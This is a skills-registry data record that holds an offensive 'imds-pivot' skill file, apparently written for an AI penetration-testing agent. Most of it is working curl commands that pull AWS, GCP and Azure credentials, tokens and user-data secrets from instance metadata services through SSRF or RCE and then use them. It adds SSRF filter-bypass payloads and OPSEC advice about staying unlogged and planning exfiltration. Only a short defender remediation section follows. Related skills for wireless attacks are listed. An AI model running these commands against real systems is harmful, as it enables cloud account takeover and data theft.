[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFBX7NQGE8AA9TYVR5FHX3":3,"skill-same:01M7DFBX7NQGE8AA9TYVR5FHX3":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFBX7NQGE8AA9TYVR5FHX3","imds-pivot",null,"Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fimds-pivot\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: imds-pivot\ndescription: Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.\nmetadata:\n  subdomain: cloud\n  when_to_use: \"imds metadata ssrf aws gcp azure instance metadata service pivot\"\n  mitre_attack:\n    - T1552.005\n    - T1078.004\n---\n\n# Instance Metadata Service Pivot\n\nWhen you have SSRF, server-side fetch, or RCE on a cloud-hosted instance,\nthe **metadata endpoint** is the single highest-value local pivot. Each\ncloud has slightly different mechanics.\n\n## 1. Identify the cloud provider\nHeader fingerprints, IP ranges, or just try in order:\n\n| Cloud | Endpoint | Auth |\n|---|---|---|\n| AWS | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` | IMDSv1: no header. IMDSv2: PUT for token |\n| GCP | `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F` | Header `Metadata-Flavor: Google` |\n| Azure | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01` | Header `Metadata: true` |\n| Alibaba | `http:\u002F\u002F100.100.100.200\u002Flatest\u002Fmeta-data\u002F` | None |\n| DigitalOcean | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F` | None |\n| Oracle Cloud | `http:\u002F\u002F169.254.169.254\u002Fopc\u002Fv2\u002Finstance\u002F` | Header `Authorization: Bearer Oracle` |\n\n```\nmetadata_endpoints(\"aws\")  → returns full URL list for AWS\nmetadata_endpoints(\"gcp\")\nmetadata_endpoints(\"azure\")\n```\n\n## 2. AWS — extract IAM role creds\n**IMDSv1** (legacy, no token required):\n```bash\nROLE=$(curl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\")\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F$ROLE\" > \u002Ftmp\u002Fcreds.json\n```\n\n**IMDSv2** (requires session token):\n```bash\nTOKEN=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" \\\n        -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\nROLE=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n       \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\")\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n       \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F$ROLE\" > \u002Ftmp\u002Fcreds.json\n```\n\nOutput:\n```json\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",                 ← session token (REQUIRED for ASIA keys)\n  \"Expiration\": \"2026-...\"\n}\n```\n\nUse:\n```bash\nexport AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId \u002Ftmp\u002Fcreds.json)\nexport AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey \u002Ftmp\u002Fcreds.json)\nexport AWS_SESSION_TOKEN=$(jq -r .Token \u002Ftmp\u002Fcreds.json)\naws sts get-caller-identity\n# Pivot to aws-iam-enum\u002FSKILL.md\n```\n\n## 3. AWS — user-data (often holds secrets)\n```bash\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\"\n```\nUser-data is the boot script. Often contains:\n- AWS credentials (despite docs saying not to)\n- API tokens, license keys\n- Database connection strings\n- Internal infrastructure URLs\n\n## 4. GCP — service account tokens\n```bash\nH='Metadata-Flavor: Google'\n\n# Identify\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Femail'\n\n# Get access token (Bearer)\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken' > \u002Ftmp\u002Fgcp.json\nTOKEN=$(jq -r .access_token \u002Ftmp\u002Fgcp.json)\n\n# Use it\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  'https:\u002F\u002Fwww.googleapis.com\u002Fcompute\u002Fv1\u002Fprojects\u002FPROJ\u002Fzones\u002FZONE\u002Finstances'\n\n# Project ID\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fproject-id'\n\n# All custom metadata (often holds startup secrets)\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fattributes\u002F?recursive=true'\n```\n\n## 5. Azure — managed identity tokens\n```bash\nH='Metadata: true'\n\n# Instance metadata\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01'\n\n# Token for resource ARM\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F' > \u002Ftmp\u002Fazure.json\nTOKEN=$(jq -r .access_token \u002Ftmp\u002Fazure.json)\n\n# Use Bearer for ARM API\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  'https:\u002F\u002Fmanagement.azure.com\u002Fsubscriptions?api-version=2020-01-01'\n\n# Token for storage (specify resource)\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fstorage.azure.com\u002F'\n\n# Token for KeyVault\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fvault.azure.net'\n```\n\n## 6. SSRF through filters\nWhen the target server filters local IPs:\n\n| Bypass | Example |\n|---|---|\n| Decimal IP | `2852039166` for 169.254.169.254 |\n| Hex IP | `0xA9FEA9FE` |\n| Mixed encoding | `169.254.169.0254` (octal last octet) |\n| Embedded creds | `http:\u002F\u002F169.254.169.254:80@evil.com\u002F` (some parsers) |\n| DNS rebinding | Domain w\u002F 1s TTL flipping to 169.254.169.254 after fetch |\n| Open redirect | If target has open redirect, chain it: `target.com\u002Fredir?to=http:\u002F\u002F169.254.169.254\u002F` |\n| Server-side URL parser bug | Various — see SSRF skill catalog |\n\n## 7. IMDSv2 bypass attempts (when v2 enforced)\nv2 requires a PUT first. Real SSRF rarely does PUT.\n\n- Workaround 1: find a server-side fetch that supports HTTP methods\n- Workaround 2: chain SSRF → RCE → curl from the box directly\n- Workaround 3: `hop-by-hop` header smuggling (rare, version-specific)\n- Reality check: if IMDSv2 is enforced AND your SSRF is GET-only, you cannot extract creds. Document this as the boundary and pivot elsewhere.\n\n## 8. Promote\nNote in your findings record (your role has no direct KG write tool —\nthe auto-ingest pipeline and the orchestrator own graph writes):\ncredential `\u003Crole-name>:\u003CASIA-prefix>` (source imds-pivot, cloud aws,\nexpires \u003Cts>), leaked by the SSRF vuln and granting access to the\n`aws-account` crown jewel.\n\n## OPSEC\n- AWS: IMDS access is **not** logged in CloudTrail (kernel-local). You're invisible at the cred-grab stage.\n- GCP: same — `metadata.google.internal` is kernel-local\n- Azure: same\n- But every API call you make WITH the stolen creds IS logged. Plan exfil before usage.\n\n## CVSS\n- IMDS available + IMDSv1 + over-privileged role: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 10.0\n- IMDSv2 + role w\u002F admin: 9.5 (slightly higher complexity)\n- IMDS available, low-priv role: 5-7 depending on what role can do\n\n## Defender remediation\n- AWS: enforce IMDSv2 cluster-wide via SCP\n  ```\n  \"ec2:MetadataHttpTokens\" = \"required\"\n  ```\n- AWS: set hop-limit to 1 (`HttpPutResponseHopLimit: 1`) so containers can't get the token\n- Restrict IAM role to needed permissions ONLY (no `iam:PassRole`, no `*` in actions)\n- Network policy on the host: block 169.254.169.254 from containers via iptables\u002Fnftables when containers don't need cloud APIs\n\n## Known exemplars\n- Capital One 2019: WAF → SSRF → IMDS → cred extract → 100M PII exfil\n- Multiple PortSwigger SSRF lab solutions = this exact pattern\n- Pattern: any web app w\u002F \"fetch URL\" \u002F \"import from URL\" feature on a cloud instance, unfiltered, IMDSv1 = guaranteed cred extract\n","# Instance Metadata Service Pivot\n\nWhen you have SSRF, server-side fetch, or RCE on a cloud-hosted instance,\nthe **metadata endpoint** is the single highest-value local pivot. Each\ncloud has slightly different mechanics.\n\n## 1. Identify the cloud provider\nHeader fingerprints, IP ranges, or just try in order:\n\n| Cloud | Endpoint | Auth |\n|---|---|---|\n| AWS | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` | IMDSv1: no header. IMDSv2: PUT for token |\n| GCP | `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F` | Header `Metadata-Flavor: Google` |\n| Azure | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01` | Header `Metadata: true` |\n| Alibaba | `http:\u002F\u002F100.100.100.200\u002Flatest\u002Fmeta-data\u002F` | None |\n| DigitalOcean | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F` | None |\n| Oracle Cloud | `http:\u002F\u002F169.254.169.254\u002Fopc\u002Fv2\u002Finstance\u002F` | Header `Authorization: Bearer Oracle` |\n\n```\nmetadata_endpoints(\"aws\")  → returns full URL list for AWS\nmetadata_endpoints(\"gcp\")\nmetadata_endpoints(\"azure\")\n```\n\n## 2. AWS — extract IAM role creds\n**IMDSv1** (legacy, no token required):\n```bash\nROLE=$(curl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\")\ncurl -s \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F$ROLE\" > \u002Ftmp\u002Fcreds.json\n```\n\n**IMDSv2** (requires session token):\n```bash\nTOKEN=$(curl -s -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" \\\n        -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\nROLE=$(curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n       \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\")\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n       \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F$ROLE\" > \u002Ftmp\u002Fcreds.json\n```\n\nOutput:\n```json\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",                 ← session token (REQUIRED for ASIA keys)\n  \"Expiration\": \"2026-...\"\n}\n```\n\nUse:\n```bash\nexport AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId \u002Ftmp\u002Fcreds.json)\nexport AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey \u002Ftmp\u002Fcreds.json)\nexport AWS_SESSION_TOKEN=$(jq -r .Token \u002Ftmp\u002Fcreds.json)\naws sts get-caller-identity\n# Pivot to aws-iam-enum\u002FSKILL.md\n```\n\n## 3. AWS — user-data (often holds secrets)\n```bash\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\"\n```\nUser-data is the boot script. Often contains:\n- AWS credentials (despite docs saying not to)\n- API tokens, license keys\n- Database connection strings\n- Internal infrastructure URLs\n\n## 4. GCP — service account tokens\n```bash\nH='Metadata-Flavor: Google'\n\n# Identify\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Femail'\n\n# Get access token (Bearer)\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken' > \u002Ftmp\u002Fgcp.json\nTOKEN=$(jq -r .access_token \u002Ftmp\u002Fgcp.json)\n\n# Use it\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  'https:\u002F\u002Fwww.googleapis.com\u002Fcompute\u002Fv1\u002Fprojects\u002FPROJ\u002Fzones\u002FZONE\u002Finstances'\n\n# Project ID\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Fproject\u002Fproject-id'\n\n# All custom metadata (often holds startup secrets)\ncurl -s -H \"$H\" 'http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fattributes\u002F?recursive=true'\n```\n\n## 5. Azure — managed identity tokens\n```bash\nH='Metadata: true'\n\n# Instance metadata\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01'\n\n# Token for resource ARM\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F' > \u002Ftmp\u002Fazure.json\nTOKEN=$(jq -r .access_token \u002Ftmp\u002Fazure.json)\n\n# Use Bearer for ARM API\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  'https:\u002F\u002Fmanagement.azure.com\u002Fsubscriptions?api-version=2020-01-01'\n\n# Token for storage (specify resource)\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fstorage.azure.com\u002F'\n\n# Token for KeyVault\ncurl -s -H \"$H\" 'http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fvault.azure.net'\n```\n\n## 6. SSRF through filters\nWhen the target server filters local IPs:\n\n| Bypass | Example |\n|---|---|\n| Decimal IP | `2852039166` for 169.254.169.254 |\n| Hex IP | `0xA9FEA9FE` |\n| Mixed encoding | `169.254.169.0254` (octal last octet) |\n| Embedded creds | `http:\u002F\u002F169.254.169.254:80@evil.com\u002F` (some parsers) |\n| DNS rebinding | Domain w\u002F 1s TTL flipping to 169.254.169.254 after fetch |\n| Open redirect | If target has open redirect, chain it: `target.com\u002Fredir?to=http:\u002F\u002F169.254.169.254\u002F` |\n| Server-side URL parser bug | Various — see SSRF skill catalog |\n\n## 7. IMDSv2 bypass attempts (when v2 enforced)\nv2 requires a PUT first. Real SSRF rarely does PUT.\n\n- Workaround 1: find a server-side fetch that supports HTTP methods\n- Workaround 2: chain SSRF → RCE → curl from the box directly\n- Workaround 3: `hop-by-hop` header smuggling (rare, version-specific)\n- Reality check: if IMDSv2 is enforced AND your SSRF is GET-only, you cannot extract creds. Document this as the boundary and pivot elsewhere.\n\n## 8. Promote\nNote in your findings record (your role has no direct KG write tool —\nthe auto-ingest pipeline and the orchestrator own graph writes):\ncredential `\u003Crole-name>:\u003CASIA-prefix>` (source imds-pivot, cloud aws,\nexpires \u003Cts>), leaked by the SSRF vuln and granting access to the\n`aws-account` crown jewel.\n\n## OPSEC\n- AWS: IMDS access is **not** logged in CloudTrail (kernel-local). You're invisible at the cred-grab stage.\n- GCP: same — `metadata.google.internal` is kernel-local\n- Azure: same\n- But every API call you make WITH the stolen creds IS logged. Plan exfil before usage.\n\n## CVSS\n- IMDS available + IMDSv1 + over-privileged role: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:H\u002FI:H\u002FA:H` = 10.0\n- IMDSv2 + role w\u002F admin: 9.5 (slightly higher complexity)\n- IMDS available, low-priv role: 5-7 depending on what role can do\n\n## Defender remediation\n- AWS: enforce IMDSv2 cluster-wide via SCP\n  ```\n  \"ec2:MetadataHttpTokens\" = \"required\"\n  ```\n- AWS: set hop-limit to 1 (`HttpPutResponseHopLimit: 1`) so containers can't get the token\n- Restrict IAM role to needed permissions ONLY (no `iam:PassRole`, no `*` in actions)\n- Network policy on the host: block 169.254.169.254 from containers via iptables\u002Fnftables when containers don't need cloud APIs\n\n## Known exemplars\n- Capital One 2019: WAF → SSRF → IMDS → cred extract → 100M PII exfil\n- Multiple PortSwigger SSRF lab solutions = this exact pattern\n- Pattern: any web app w\u002F \"fetch URL\" \u002F \"import from URL\" feature on a cloud instance, unfiltered, IMDSv1 = guaranteed cred extract\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"cloud","imds metadata ssrf aws gcp azure instance metadata service pivot",[28,29],"T1552.005","T1078.004","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fimds-pivot","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill imds-pivot",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill imds-pivot",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill imds-pivot","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fimds-pivot\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]